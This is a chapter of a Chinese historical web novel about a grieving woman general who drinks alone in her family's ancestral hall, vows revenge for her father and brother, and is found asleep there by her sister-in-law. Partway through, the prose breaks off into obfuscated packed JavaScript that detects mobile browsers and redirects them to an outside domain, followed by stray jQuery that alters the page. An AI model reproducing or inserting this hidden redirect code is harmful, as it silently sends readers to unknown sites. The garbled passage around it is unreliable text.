默认冷灰
24号文字
方正启体

6. 第 6 章

作者:鹤汀州本书字数:K更新时间:
    贺兰瑾带回来的东西并不多,一个旧布包裹着几件换洗衣物,一柄伴随多年的长剑斜靠在墙角,除此之外再无长物。北境三年,她早已习惯清俭度日。


    待到天色已暗下来,她未知会褚鸣玉,独自一人往祠堂走去。


    祠堂的门是虚掩着的,推开门时,门轴发出“吱呀”一声轻响,在寂静的夜里格外清晰。


    案上的长明灯跳动着幽微的光,将满室的牌位照得影影绰绰。


    当年父亲与兄长遗骨回京时,因北境局势尚且不稳,陛下猜忌,朝堂明争暗斗,上面命贺兰瑾留驻幽州。


    那时的她没有选择。父兄用性命守护的北疆,她不能眼睁睁看着它在自己手里毁掉。


    虽有些大不敬,贺兰瑾将手里拎着的那坛桂花酒放在供桌前,坛口的泥封被她随手拍开。她掏出揣在怀里的青瓷酒杯,给自己斟了满满一杯,又挨个给列祖列宗的牌位前都满上一杯。


    北安侯府世代忠良,从开国时便镇守北境,满门牌位在烛光下忽明忽暗,好似诸位长辈坐在上面看着她。


    她仰头将杯中的酒一饮而尽,辛辣的液体滑过喉咙,烧得胸腔发烫。这些年在北境受过的委屈、忍下的伤痛,好像都随着这口酒,一股脑涌了上来。


    “阿爹,我把阿史那杀了。”她拿起酒坛,给自己又倒了一杯,指尖因用力而微微泛白,“我一点一点割下他的头,切断他的颈骨,看着他断气,看着他向我跪地求饶,我把他的头挂在城头上,让北境诸军都知道,我给您报仇了。”


    说到这里,她忽然笑了笑,眼底却泛起了红:“我八岁那年离京的时候,您拉着我的手迟迟不放,说‘我的阿瑾是捧着长大的,日后可怎么办?’”


    “您总说,女孩子家要心善,不可妄动杀念。”她对着父亲的牌位,像是在撒娇,又像是在辩解,“可他们杀了您啊。阿爹,他们杀了您和大哥。”


    祠堂里静悄悄的,只有烛火偶尔爆出的噼啪声。


    她又喝了一杯酒,酒液顺着嘴角滑落,滴在玄色的衣襟上,晕开一小片深色的痕迹,“大哥,大嫂真的很好,还有安儿已经长大了,大嫂说像你,但是不如大哥沉稳,像二哥一样野得很,往后我留在京中,我会教他骑马射箭,教他忠义仁爱,也绝不会让他再受半分委屈。”


    “还有二哥。”贺兰瑾的目光越过前面的牌位,落在掩在后方空白的木牌上,嘴角忽然勾起一抹浅淡的笑意,“你当年埋在将军府的八坛女儿红,被我挖出来喝了。你说要等我嫁人时才开封,可这嫁人要等到什么时候去?倒不如我先尝尝。”


    “对了,我还分了贺兰峥一坛。”她举起酒杯冲着牌位挑眉,“怎么样?我没忘了照顾他吧?”


    她一杯接一杯地喝着,将满肚子的话都对着牌位说了出来。有北境的风雪,有战场的凶险,有对故人的思念,也有对未来的笃定。那些在人前不能说、不敢说的话,此刻都借着酒意,一股脑倒了出来。


    “阿爹,害死你们的人,我找到了。”她喃喃地重复着,声音里带着浓浓的鼻音。


    “再等等我。”她伸出手,指尖轻轻抚过父亲牌位上冰冷的刻字,“很快,很快,我就让他们全部血债血偿。”


    好奇怪,明明这样难过,却一滴泪也流不出来。


    贺兰瑾举起坛子大大的喝了一口,跪倒在列祖列宗面前,跪倒在父亲与大哥面前,还有一边空着的牌位,头磕在地上发出一声重响。


    夜深人静的祠堂,烛影晃动,贺兰瑾伏在地上小小的一团。


    父亲,您会不会怪我,辜负您当年不惜抗旨,用尽一切手段送我离开的苦心。


    很久很久以后,久到父亲已经不在,贺兰瑾才得知当年自己离开后,父亲独自面对皇室的指责。


    明明是打了胜仗回来的,却要跪在皇帝与太后面前请罪。


    北安侯贺兰凛跪在大殿上,腰杆却挺的笔直,目光如炬,说出的话也不卑不亢,“臣效忠陛下,刀山火海,在所不惜,臣有三个愚子,也当如此。只是,阿瑾是臣的女儿,她不能这样被决定一生。臣有罪,请陛下责罚,请太后娘娘责罚!”


    泪干在脸上,扯着皮肤细微的疼。


    大约是喝醉了,好像看见了父亲站在远处冲着自己笑。


    是了,父亲最疼自己,怎会怪罪自己。


    ***


    夜深,府中一片寂静。


    褚鸣玉在祠堂外面踱步,转了一圈又一圈,身边跟着的冬酒看着她冻得发红的鼻尖,忍不住小声劝道:“夫人放心不下,不如进去看看。”


    “不妥不妥。”褚鸣玉连忙摆摆手,踮起脚向祠堂里张望,又什么都瞧不见。


    贺兰瑾进去足足有两个时辰,里边一点动静都没有,褚鸣玉实在是担心。


    其实早在贺兰瑾往祠堂去的时候,便有下人来报,说“大小姐拎着酒坛往后院祠堂去了”。当时褚鸣玉还不以为然,训斥道:“不必盯着大小姐做什么。”


    只是进去足足一个时辰,祠堂里没一点动静,有管事的婆子过来问话,还用不用进去点长明灯。


    褚鸣玉有些担心。


    如今,褚鸣玉已经在冷风中站了一个时辰,祠堂里依旧静悄悄的,连一声咳嗽都听不到。


    只听下人说贺兰瑾拎了一大坛子酒进去,褚鸣玉一边担心她喝醉酒一把火把祠堂点着,又担心她醉了在祠堂睡着着凉。


    褚鸣玉摸不清这位小姑子的脾性,二人相处时间太短是一个原因。


    更重要的原因是,众人对贺兰瑾的描述实在是太大相径庭。


    还记得她刚嫁入侯府时,自家夫君描述他这位小妹,说她性格婉约,举止娴雅,面冷心热,最是端正。


    后来偶然同小叔贺兰峥说起来,贺兰峥却笑得前仰后合,只说大哥的话不可信。在贺兰峥嘴里,贺兰瑾是个十足的“离经叛道”的性子,全然没有高门大小姐的样子,整日跑来跑去,礼教规矩都抛在脑后,还小气记仇,最爱捉弄别人。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268373|182189||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>这些便罢了,只是近年来民间对贺兰瑾也有些形容,说她铁石心肠,心狠手毒,杀伐果断,性情也阴晴不定,北境诸军都对她噤若寒蝉。


    世人认为贺兰瑾恨北安侯府,更恨贺兰峥。


    可如今亲自与贺兰瑾相处了半日,褚鸣玉只觉得这位小姑子话不多,举止间带着股武将的利落,待人接物也算谦和,既没有传闻中那般凶神恶煞,也不像夫君说的那般婉约娴雅,至于别的也没瞧出什么,自然也不好贸然进去。


    “夫人,夫人!”


    褚鸣玉被一阵急促的摇晃惊醒,刚睁开眼,就觉得从脖颈到胳膊都僵得发疼,像是被人用粗棍子狠狠敲过一样。


    她环顾四周,借着天边微亮的晨光,才发现自己竟靠在祠堂不远处的石亭柱子上。


    冬酒见夫人醒来,匆匆忙忙说道:“夫人和奴婢都等着睡过去了,不知大小姐回去没有。”


    褚鸣玉瞬间清醒,她后来实在等累了,便想着坐在不远处的亭子里看着,想着只要看见祠堂门开,确认贺兰瑾平安回去就好。


    “糊涂!”褚鸣玉低斥了自己一句,紧了紧披风,站起身时腿都有些发麻,“现在几时了?”


    “寅时一刻。”


    褚鸣玉决定不管了,如今连人在不在里面都不确定,先进去看看再说。


    她深吸一口气,伸手推开祠堂厚重的木门,刚迈进去一步,便瞬间愣在原地。


    跟在后面的冬酒还揉着惺忪的睡眼,晃头晃脑地问:“夫人,怎么了?


    贺兰瑾团成小小的一团,蜷缩躺在祠堂中央的青砖上,呼吸均匀绵长,睡的安安稳稳,连门口进来人也没能吵醒。


    供桌前的空酒坛倒在一旁,烛火早已燃尽,只有长明灯的微光映着她的侧脸,褪去了白日里的锐利与疏离,倒显出几分难得的柔和。


    褚鸣玉轻轻叹了口气,同后面的冬酒说道:“去抱一床被子来。”


    到底已经入冬,听说北境已经下了好几场雪,即便是铁打的人,这样睡上一夜也要生病的。


    褚鸣玉在旁边的垫子上坐下,端详贺兰瑾安静的睡颜,白日里瞧着不近人情的样子,睡着了倒是像个小姑娘了。


    地上又凉又硌,怎么就睡的这样踏实。


    褚鸣玉就这么静静瞧着,看贺兰瑾睡着时无意识蹙起的眉峰,心下忽然一阵发酸,眼眶热热的,眼泪差点就要涌出来。


    侯府变故来得太突然,一夕之间府中能够顶天立地的人百无一存,她们这些留下了的人便不再有日日安宁。


    何况亲眼目睹北境惨状的贺兰瑾。


    人人都说,贺兰瑾心硬,留在北境一心只为了夺幽州的兵权,不惜和亲哥哥反目。


    君主的猜忌,百姓的指责,至亲的惨死,一瞬间如海啸一般扑向贺兰瑾。


    很辛苦吧,寻常人家的姑娘,十五六岁正是在父母跟前撒娇卖乖、不知愁滋味的年纪。


    而她十六岁已经挂帅出征,孤身一人闯敌营了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)